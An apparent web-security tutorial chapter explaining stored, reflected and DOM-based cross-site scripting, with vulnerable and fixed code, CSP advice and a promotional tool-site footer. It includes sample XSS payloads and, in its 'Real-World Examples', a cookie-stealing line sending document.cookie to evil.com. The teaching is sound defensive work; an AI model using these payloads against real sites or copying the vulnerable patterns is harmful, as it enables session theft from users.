| |

Web Security 04 🛡️ Cross-Site Scripting (XSS) Fundamentals — Identifying Reflected, Stored, and DOM-based XSS attack vectors

⏱️ Estimated read: 12 min | |

Cross-Site Scripting (XSS) is a pervasive security vulnerability where an attacker injects malicious client-side scripts into web pages viewed by other users. Unlike many other web attacks that target the server directly, XSS exploits the implicit trust a browser has for the content it receives from a legitimate origin. When a browser executes these injected scripts, it does so within the security context of the vulnerable website, granting the attacker access to session cookies, localStorage, and the ability to manipulate the Document Object Model (DOM) or perform actions on behalf of the victim.

The core of the XSS problem lies in the failure to distinguish between executable code and data. When an application accepts user input and renders it back to the browser without proper sanitization or encoding, the browser may interpret that data as instructions. This allows attackers to bypass the Same-Origin Policy (SOP), effectively hi-jacking the user’s session and turning a trusted application into a delivery vehicle for malware, phishing, or data exfiltration.

This chapter covers the three primary categories of XSS: Stored, Reflected, and DOM-based. We will examine how each vector differs in terms of delivery and execution, the specific “sinks” and “sources” involved in modern web applications, and the underlying mechanics that allow untrusted input to become executable code. The sections that follow walk through the persistence of stored attacks, the non-persistent nature of reflected attacks, and the client-side logic flaws that lead to DOM-based vulnerabilities.

Key point: XSS is an injection attack where malicious scripts are executed in the victim’s browser because the application fails to separate user-provided data from the page’s executable HTML/JavaScript context.


Why X exists

The data-code confusion problem. Web browsers are designed to interpret HTML and JavaScript. When an application takes a user’s name and places it directly into an <div>, the browser sees no difference between the text “Alice” and the text <script>alert(1)</script>. This fundamental inability to distinguish data from code is the root cause of all injection vulnerabilities.

The implicit trust problem. Browsers operate on the Same-Origin Policy, which assumes that any script delivered from example.com is trusted by example.com. XSS breaks this assumption by allowing an attacker to place their own code into the stream of data coming from a trusted origin, tricking the browser into granting the script full access to the site’s environment.

The “Ambient Authority” problem. Cookies used for session management are automatically sent with every request to the server. If an attacker can execute a script in your browser, they can use document.cookie to steal your session identifier, effectively logging in as you without ever needing your password.

The dynamic rendering problem. Modern web applications rely heavily on client-side JavaScript to update the UI without full page reloads. Using functions that interpret strings as HTML (like innerHTML) creates a massive attack surface where URL parameters or API responses can suddenly become executable scripts.

The sanitization complexity problem. Properly cleaning user input is mathematically difficult. Attackers use various encoding schemes (URL encoding, HTML entities, Hex, Unicode) to bypass simple “blacklist” filters. Relying on simple string replacement for characters like < or > is rarely sufficient to stop a sophisticated attacker.


a. Stored XSS (Persistent)

Stored XSS, also known as Persistent XSS, is the most dangerous form of the attack. It occurs when the malicious payload is permanently stored on the target server—usually in a database, a comment field, or a user profile. Every time a victim visits the page where the stored data is rendered, the malicious script executes automatically.

// Vulnerable Server-side code (Conceptual)
// The server saves a user comment directly into the database
db.saveComment(req.body.comment); 

// Vulnerable Template (Conceptual)
// Later, the server renders the comment into a page without encoding
<div>
  User says: <%= comment %>  <!-- If comment is <script>...</script>, it runs! -->
</div>

In this scenario, the attacker provides the payload once, but it affects every user who views the vulnerable page. Common targets include message boards, social media bios, and customer support tickets. Because the script comes directly from the application’s own database, it is highly likely to bypass casual inspection.

The fix for Stored XSS is context-aware output encoding. Before rendering data into the HTML, the server or the frontend must convert special characters into their HTML entity equivalents (e.g., < becomes &lt;). This tells the browser to display the character as text rather than interpreting it as the start of a tag.


b. Reflected XSS (Non-Persistent)

Reflected XSS occurs when a malicious script is “reflected” off a web application to the victim’s browser. The payload is typically delivered via a URL parameter, a search query, or a form input. The server receives the payload in the request and immediately includes it in the HTTP response without saving it to a database.

// Example: A search results page
// URL: https://example.com/search?q=<script>alert('Reflected')</script>

// The server echoes the 'q' parameter back to the page
<h1>Search results for: <%= req.query.q %></h1>

// The browser receives:
// <h1>Search results for: <script>alert('Reflected')</script></h1>

Because the payload is not stored, the attacker must find a way to trick the victim into clicking a specially crafted link. This is often accomplished through phishing emails or social engineering. While less persistent than Stored XSS, Reflected XSS is frequently used to steal session tokens or redirect users to malicious websites.

Hardening against Reflected XSS requires strict input validation and, most importantly, output encoding. Even if the input looks safe, it should always be encoded when placed back into the HTML document. Modern frameworks often do this by default, but manual manipulation of the DOM can re-introduce the vulnerability.


c. DOM-based XSS

DOM-based XSS is a modern variant where the entire vulnerability exists within the client-side code. Unlike Reflected or Stored XSS, the payload never touches the server. The vulnerability occurs when a script on the page reads data from a “source” (like the URL hash) and passes it to a “sink” that supports code execution (like innerHTML or eval).

// Vulnerable Client-side JavaScript
// Reading from the URL hash: #name=<img src=x onerror=alert(1)>
const params = new URLSearchParams(window.location.hash.substring(1));
const name = params.get('name');

// Passing to a dangerous sink
document.getElementById('welcome').innerHTML = `Welcome, ${name}!`;

In the example above, the server might send a perfectly safe, static HTML page. However, once the page loads, the local JavaScript processes the URL fragment and injects the malicious payload directly into the DOM. Since the payload (the part after the #) is never sent to the server, server-side filters and Web Application Firewalls (WAFs) cannot detect it.

To prevent DOM-based XSS, developers must avoid “executable” sinks. Instead of using .innerHTML, they should use .textContent or .innerText, which treat all input as literal text. If rendering HTML from a string is absolutely necessary, a robust, battle-tested library like DOMPurify should be used to sanitize the string before injection.


Complete Example Session

// ============================================
// PART 1: THE VULNERABLE DATA SOURCE
// ============================================
// URL: site.com/profile#user=<img src=x onerror=steal(document.cookie)>

// ============================================
// PART 2: THE DANGEROUS CLIENT-SIDE SINK
// ============================================
function loadProfile() {
  const hash = window.location.hash.substring(1);
  const username = new URLSearchParams(hash).get('user');

  // ❌ VULNERABLE: innerHTML parses the <img> tag and runs onerror
  document.getElementById('display').innerHTML = username; 
}

// ============================================
// PART 3: THE ATTACKER'S PAYLOAD
// ============================================
// The payload uses a non-existent image source (src=x) to trigger 
// the 'onerror' event handler, which executes the JS.

// ============================================
// PART 4: THE SECURITY REMEDIATION (The Fix)
// ============================================
function secureLoadProfile() {
  const hash = window.location.hash.substring(1);
  const username = new URLSearchParams(hash).get('user');

  // ✅ SECURE: textContent renders tags as literal text string
  document.getElementById('display').textContent = username; 
}

// ============================================
// PART 5: RECOGNIZING STORED XSS (Server Side)
// ============================================
app.post('/api/comments', (req, res) => {
  // ❌ VULNERABLE: Saving raw HTML to DB
  db.comments.insert({ text: req.body.comment_text }); 
});

// ============================================
// PART 6: ENCODING ON RENDER (Server Side)
// ============================================
app.get('/comments', (req, res) => {
  const comments = db.comments.find();
  // ✅ SECURE: Use a template engine that auto-encodes (like EJS/Pug)
  res.render('comments', { comments }); 
});

// ============================================
// PART 7: RECOGNIZING REFLECTED XSS
// ============================================
// URL: site.com/error?msg=<script>alert(1)</script>
app.get('/error', (req, res) => {
  // ❌ VULNERABLE: Sending user input directly into response body
  res.send(`Status: ${req.query.msg}`); 
});

// ============================================
// PART 8: INPUT VALIDATION
// ============================================
app.get('/error', (req, res) => {
  const msg = req.query.msg;
  // ✅ SECURE: Validate that the input contains only safe characters
  if (/^[a-zA-Z ]+$/.test(msg)) {
    res.send(encodeHTML(msg));
  }
});

// ============================================
// PART 9: THE CONTENT SECURITY POLICY (CSP)
// ============================================
// A defense-in-depth header that blocks inline scripts
// Content-Security-Policy: default-src 'self'; script-src 'self';

// ============================================
// PART 10: RESULT
// ============================================
// By combining encoding, safe sinks, and CSP, XSS is fully mitigated.

The parts above walk through identifying a DOM-based vulnerability, applying a fix, and recognizing the equivalent Stored and Reflected patterns in server-side code.


Quick Reference

XSS Types Comparison

TypePersistenceDelivery VectorExecuted By
StoredPermanentDatabase / File SystemAny user visiting the page
ReflectedNon-persistentURL Param / RequestUser clicking a specific link
DOM-basedClient-onlyURL Hash / JS VariablesClient-side script logic

Dangerous Sinks vs Safe Alternatives

Dangerous SinkSafe AlternativeWhy?
element.innerHTMLelement.textContentDoes not parse HTML tags
document.write()element.appendChild()Avoids direct string-to-HTML parsing
eval()JSON.parse()eval executes any code; JSON.parse only data
window.location(Validation Required)Direct assignment can trigger javascript:

Best Practices

✅ Do This:

// Use textContent for plain text insertion
element.textContent = untrustedInput;                        // ✅

// Sanitize HTML with DOMPurify if innerHTML is required
const cleanHTML = DOMPurify.sanitize(untrustedInput);        // ✅
element.innerHTML = cleanHTML;                               // ✅

// Set a strict Content Security Policy (CSP)
// Content-Security-Policy: script-src 'self';               // ✅

// Encode data in server-side templates
// <%= encodedValue %> in EJS                                // ✅

❌ Don’t Do This:

// Trust user input directly in innerHTML
element.innerHTML = "Hello " + userName;                     // ❌

// Use eval() on data from the network
const obj = eval("(" + jsonString + ")");                    // ❌

// Allow 'unsafe-inline' in your CSP
// script-src 'self' 'unsafe-inline';                        // ❌

// Rely on client-side validation as security
// (It can be bypassed easily)                               // ❌

Common Pitfalls

PitfallWhy It HappensFix
Incomplete BlacklistingReplacing <script> but forgetting <img> or <iframe>Use Whitelisting or Encoding instead
Double EncodingEncoding data twice leads to broken UIEncode only at the point of output
Attribute InjectionPutting input into href or src without validationUse javascript: protocol checks
Ignoring URL HashAssuming # data is safe because it’s not on serverTreat all location properties as untrusted
Trusting internal APIsAssuming data from “your” API is safeSanitize all data regardless of source
Nested ContextsEncoding for HTML but placing inside a <script> tagUse context-specific encoding (JS-encoding)

Real-World Examples

1. Comment section vulnerability

<div><p><script>fetch('https://evil.com/log?c=' + document.cookie)</script></p></div>

2. Search results reflection

<h2>Search results for: <img src=x onerror=alert('Reflected')></h2>

3. URL Router sink (DOM-based)

const route = window.location.hash; // #/login
document.body.innerHTML = `<h1>Page: ${route}</h1>`;

4. Bio persistence (Stored)

<div class="user-bio"><svg onload=alert(1)></div>

5. Error message URL

https://app.com/login?error=<script>doSomethingBad()</script>

6. Document.write usage

document.write("Last visited: " + localStorage.getItem('last_page'));

7. InnerHTML from API response

fetch('/api/user').then(r => r.json()).then(u => div.innerHTML = u.name);

8. SVG Script Injection

<svg><script>alert('Stored XSS in SVG')</script></svg>

9. Template literal injection

const template = `<div>${user_input}</div>`; // Injected via outer scope

10. Attribute values

<a href="javascript:alert('XSS')">Click here</a>

Visual

Reflected XSS Flow (Server Roundtrip)

┌──────────┐      URL with Payload      ┌──────────┐
│  VICTIM  │───────────────────────────▶│  SERVER  │
│ (Browser)│                            │          │
│          │◀───────────────────────────│          │
└──────────┘    Response with Payload   └──────────┘
      │              (Executes)
      └─────────────────────────────────▶ Executes Script

Stored XSS Flow (Persistence)

┌──────────┐    Payload Upload    ┌──────────┐    ┌──────────┐
│ ATTACKER │─────────────────────▶│  SERVER  │───▶│ DATABASE │
└──────────┘                      └──────────┘    └──────────┘
                                        │               │
┌──────────┐       Request Page         │               │
│  VICTIM  │───────────────────────────▶│   Render      │
│ (Browser)│◀───────────────────────────│  Payload      │
└──────────┘       Execute Payload      └──────────┘

DOM-based XSS Flow (Client Side)

┌──────────┐      URL #payload          ┌──────────┐
│  VICTIM  │───────────────────────────▶│  SERVER  │
│ (Browser)│                            │          │
│          │◀───────────────────────────│ (Sends Static Page)
└──────────┘                            └──────────┘
      │
      ▼
Client-side JS reads #payload from location.hash
      │
      ▼
Client-side JS writes to innerHTML (Execution)

Summary

ItemValue
DefinitionInjection of malicious scripts into trusted pages
Stored XSSPayload persistent in DB/Server
Reflected XSSPayload non-persistent, echoed from URL/Request
DOM XSSPayload processed entirely in client-side JS
Same-Origin PolicySOP is bypassed because script runs in valid origin
Primary DefenseContext-aware output encoding
Secondary DefenseContent Security Policy (CSP)
Safe SinkstextContent, innerText, JSON.parse

Key takeaways:

  • XSS occurs when data is mistaken for code. Browsers blindly execute scripts if they are part of the HTML stream, regardless of their source.
  • Output encoding is the most effective defense. Convert data to text entities before rendering it in the DOM to ensure the browser treats it as literal text.
  • Stored XSS is a “one-to-many” attack. The payload is saved on the server and executes for every user who views the infected page.
  • DOM-based XSS never hits the server. It relies on client-side scripts passing untrusted data to dangerous sinks like innerHTML.
  • Content Security Policy (CSP) provides a safety net. CSP can block inline scripts and limit script sources, neutralizing XSS even if an injection vulnerability exists.
  • Use safe APIs by default. Prefer textContent over innerHTML and avoid eval() or document.write() in modern web development.

Remember: Never trust user input, regardless of where it comes from. Treat all data (URL parameters, database fields, API responses, and URL fragments) as potentially malicious code and encode it appropriately for the specific context in which it will be rendered.

Was this helpful?


Stop using slow, ad-bloated tool sites! 🤮

🔎 Search “KandZ Tools” on Google to use many professional utilities for free.

KandZ.me is the ultimate minimalist hub for:
✅ Finance (Mortgage, Interest, Inflation)
✅ Tech (Base64, JSON, Dev Suite, IP)
✅ Health (BMI, BMR, TDEE)
✅ Productivity (Timer, Workspace, QR)

⚡️ Fast & Private
🔒 No data leaves your device
💎 100% Free

🔗 Use it now: https://tools.kandz.me
🔖 Bookmark it—you’ll need it later!